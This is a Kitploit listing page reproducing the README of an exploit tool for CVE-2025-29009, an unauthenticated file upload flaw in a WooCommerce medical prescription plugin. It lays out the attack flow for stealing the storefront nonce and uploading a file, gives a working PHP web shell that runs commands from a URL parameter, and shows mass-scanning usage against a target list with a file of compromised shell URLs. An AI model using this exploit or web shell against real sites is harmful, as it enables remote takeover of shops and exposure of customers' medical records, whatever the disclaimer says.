Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-29009 — WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 is vulnerable to a high priority Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-29009
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingLearning & Education
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 is vulnerable to a high priority Arbitrary File Upload

View Repository
1114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 is vulnerable to a high priority Arbitrary File Upload

CVE-2025-29009

Webkul Medical Prescription Attachment — Unrestricted File Upload → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE Plugin Auth

Python
Author

❶ Vulnerability

FieldDetail
CVECVE-2025-29009
PluginWebkul Medical Prescription Attachment Plugin for WooCommerce
AffectedAll versions ≤ 1.2.3
AuthNone required
TypeUnrestricted Upload of File with Dangerous Type → Web Shell Upload
CWECWE-434 · Unrestricted Upload of File with Dangerous Type

Root Cause:
The wkwcpa_handle_prescription_session AJAX handler (action=wkwcpa_handle_prescription_session) accepts file uploads via wkwc_pa_prescription_attachment[] without validating file extension or MIME type server-side. An unauthenticated attacker can extract the ajaxNonce from the public WooCommerce storefront (embedded in wkwcpaFrontObj JavaScript object), then upload a PHP web shell directly to the server's uploads directory. The response returns the full accessible URL of the uploaded file.


❷ Attack Flow

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. Resolve front page                                       │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Extract nonce                                            │
│     Parse wkwcpaFrontObj.ajax.ajaxUrl                        │
│     Parse wkwcpaFrontObj.ajax.ajaxNonce                      │
│                                                              │
│  3. Upload shell                                             │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Parse response                                           │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verify shell                                             │
│     GET <shell_url>  →  check for unique signature           │
│                                                              │
│  6. Save to shells.txt                                       │
└──────────────────────────────────────────────────────────────┘

❸ Setup

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Shell Preparation

Create your PHP shell and embed a unique signature string so the tool can verify successful execution:

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

Save as shell.php in the same directory as the script.
The string NxploitedShellOK is the signature — it must appear in the shell's response for verification to pass.


❺ Usage

root@kitploit:~
python3 CVE-2025-29009.py

Prompts

root@kitploit:~
Targets file (default list.txt):              list.txt
Threads (default 10):                         10
Local shell filename (e.g. shell.php):        shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK

Targets Format — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

Targets without http:// or https:// are automatically prefixed with http://.


❻ Output

FileContents
shells.txtOne verified shell URL per line

Terminal:

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ Failure Codes

CodeMeaning
shell_file_missingshell.php not found in working directory
no_front_pageNo candidate page returned HTTP 200
nonce_not_foundwkwcpaFrontObj not present on any page
upload_errorNetwork error during POST
json_parse_errorResponse is not valid JSON
success_falseServer returned data.success = false
no_attachmentsUpload succeeded but no URL in response
shell_url_not_foundCould not parse file URL from response HTML

❽ Author

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


❾ Disclaimer

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Fixed in 1.2.4

Download Tool